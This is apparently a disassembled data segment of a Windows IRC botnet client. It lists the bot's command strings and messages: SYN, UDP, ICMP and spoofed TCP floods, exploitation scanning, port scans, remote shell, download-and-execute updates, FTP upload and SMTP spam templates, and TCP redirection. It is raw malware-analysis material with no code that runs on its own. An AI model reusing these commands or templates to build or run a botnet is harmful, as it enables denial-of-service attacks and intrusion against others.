dword_4341E0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00411355o
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_43420C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0041134Ao
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_43424C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041130Ao
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 10h
dword_434280	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004112F6o
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_4342B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411271o
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_4342E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411236o
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_434328	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041121Ao
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_434360	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411198o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 10h
dword_434390	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041115Do
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 10h
dword_4343C0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411107o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_4343F0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041109Fo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_434418	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: seg000:00411065o
					; seg000:004118E9o
dword_434424	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411036o
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:00411028o
		align 10h
dword_434460	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410FFFo
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_434490	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410F94o
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_4344C0	dd 45444F4Dh, 732520h	; DATA XREF: seg000:00410F3Fo
dword_4344C8	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410F0Ao
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_4344F8	dd 4B43494Eh, 732520h	; DATA XREF: seg000:00410EB4o
					; seg000:00411730o
dword_434500	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: seg000:00410E95o
dword_43450C	dd 54524150h, 732520h	; DATA XREF: seg000:00410E2Bo
dword_434514	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_410E18o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_43455C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410DE1o
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: seg000:00410D90o
		align 10h
dword_434590	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_410D48o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_4345B8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: seg000:00410D08o
					; seg000:00410DBBo ...
unk_4345C8	db    2			; DATA XREF: seg000:loc_410CB7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 10h
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0
		align 4
unk_4346BC	db    2			; DATA XREF: seg000:00410B39o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
		db 2 dup(20h), 43h
		db  6Fh	; o
		db 2 dup(6Dh), 61h
		db  6Eh	; n
		db 64h,	73h, 3Ah
		db  20h
		db 25h,	73h, 0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 10h
unk_434770	db    2			; DATA XREF: seg000:00410A1Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_4347B4	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:loc_410980o
					; seg000:loc_411587o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_4347D4	db    2			; DATA XREF: seg000:0041096Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_43480C	db    2			; DATA XREF: seg000:loc_410949o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_434858	db    2			; DATA XREF: seg000:0041093Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4348A4	db    2			; DATA XREF: seg000:004108C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_4348E4	db    2			; DATA XREF: seg000:0041084Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
unk_434930	db    2			; DATA XREF: seg000:004107DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_434974	db    2			; DATA XREF: seg000:00410757o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4349C0	db    2			; DATA XREF: seg000:004106DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_434A04	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0041064Ao
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_434A50	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:004105D0o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_434AE4	db    2			; DATA XREF: seg000:004104F1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_434B24	db    2			; DATA XREF: seg000:00410422o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_434B78	db    2			; DATA XREF: seg000:004103B3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_434C18	db    2			; DATA XREF: seg000:004102B9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:00410235o
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: seg000:00410138o
		align 4
dword_434C88	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: seg000:004100AAo
					; seg000:004110E8o
dword_434C94	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:00411BE1o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
dword_434CE0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FFDCo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: seg000:0040FFB1o
					; seg000:00411B45o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: seg000:0040FFAAo
					; seg000:00411B3Eo
		align 4
dword_434D6C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FE6Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan, no IP specified.',0
		align 4
dword_434DB8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FD25o
					; seg000:00411989o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_434E0C	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040FCF4o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_434E58	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040FC85o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040FBBEo
		align 4
unk_434ECC	db    2			; DATA XREF: seg000:0040FBA9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_434F18	db    2			; DATA XREF: seg000:0040FB3Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_434F74	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:loc_40FAA1o
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_434FC0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040FA97o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43500C	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040FA1Do
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:0040FA0Do
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:0040FA06o
dword_435064	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040F971o
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4350A0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:loc_40F889o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4350E0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040F882o
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040F86Bo
aSS_4		db '-s:%s',0            ; DATA XREF: seg000:0040F854o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:0040F834o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040F7FFo
		align 4
dword_43515C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040F781o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 10h
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: seg000:0040F75Eo
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: seg000:0040F73Bo
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: seg000:0040F724o
		align 4
unk_4351B8	db    3			; DATA XREF: seg000:0040F6E3o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:0040F66Fo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: seg000:0040F5D3o
					; seg002:off_4244F4o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: seg000:0040F584o
		align 4
aUsa		db 'usa',0              ; DATA XREF: seg000:0040F56Do
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: seg000:0040F556o
		align 4
aPg		db 'pg',0               ; DATA XREF: seg000:0040F53Fo
		align 10h
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: seg000:0040F528o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: seg000:0040F511o
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:0040F4FAo
		align 10h
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: seg000:0040F4E3o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: seg000:0040F4CCo
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: seg000:0040F49Eo
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: seg000:0040F475o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: seg000:0040F45Eo
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: seg000:0040F447o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: seg000:0040F430o
		align 10h
aEnz_ps		db 'enz.ps',0           ; DATA XREF: seg000:0040F419o
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: seg000:0040F402o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: seg000:0040F3EBo
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: seg000:0040F3D4o
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:0040F3BDo
		align 10h
aDonad_frwww	db 'donad.frwww',0      ; DATA XREF: seg000:0040F3A6o
aSy1		db 'sy1',0              ; DATA XREF: seg000:0040F38Fo
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: seg000:0040F378o
		align 10h
aDs_rm		db 'ds.rm',0            ; DATA XREF: seg000:0040F361o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: seg000:0040F34Ao
		align 10h
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: seg000:0040F333o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: seg000:0040F31Co
aClone_make	db 'clone.make',0       ; DATA XREF: seg000:0040F305o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: seg000:0040F2DCo
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: seg000:0040F2C5o
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: seg000:0040F2AEo
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: seg000:0040F297o
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: seg000:0040F280o
		align 10h
aBox_findfile	db 'box.findfile',0     ; DATA XREF: seg000:0040F269o
		align 10h
aBox_e		db 'box.e',0            ; DATA XREF: seg000:0040F252o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: seg000:0040F23Bo
aDownload_010	db 'download.010',0     ; DATA XREF: seg000:0040F224o
		align 4
aDownload_up010	db 'download.up010',0   ; DATA XREF: seg000:0040F20Do
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: seg000:0040F1F6o
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: seg000:0040F1DFo
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: seg000:0040F1C8o
		align 10h
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: seg000:0040F1B1o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: seg000:0040F19Ao
aClone_part	db 'clone.part',0       ; DATA XREF: seg000:0040F183o
		align 10h
aClone_j	db 'clone.j',0          ; DATA XREF: seg000:0040F16Co
aClone_join	db 'clone.join',0       ; DATA XREF: seg000:0040F155o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: seg000:0040F13Eo
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: seg000:0040F127o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: seg000:0040F110o
aClone_mode	db 'clone.mode',0       ; DATA XREF: seg000:0040F0F9o
		align 10h
aClone_ra	db 'clone.ra',0         ; DATA XREF: seg000:0040F0E2o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: seg000:0040F0CBo
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: seg000:0040F0B4o
		align 10h
aEnz_mode	db 'enz.mode',0         ; DATA XREF: seg000:0040F09Do
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: seg000:0040F086o
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: seg000:0040F06Fo
		align 10h
aEnz_ac		db 'enz.ac',0           ; DATA XREF: seg000:0040F058o
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: seg000:0040F041o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: seg000:0040F02Ao
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: seg000:0040F013o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: seg000:0040EFFCo
		align 10h
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: seg000:0040EFE5o
		align 10h
aEnz_gh		db 'enz.gh',0           ; DATA XREF: seg000:0040EFBCo
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: seg000:0040EFA5o
dword_435504	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF57o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_435534	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF50o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_435568	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF08o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_435598	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040EF01o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: seg000:0040EE74o
		align 4
dword_4355D4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EE69o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_435608	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040EE5Fo
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: seg000:0040EDF7o
		align 4
aDelete		db 'delete',0           ; DATA XREF: seg000:0040EDDCo
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:0040EDA9o
		align 4
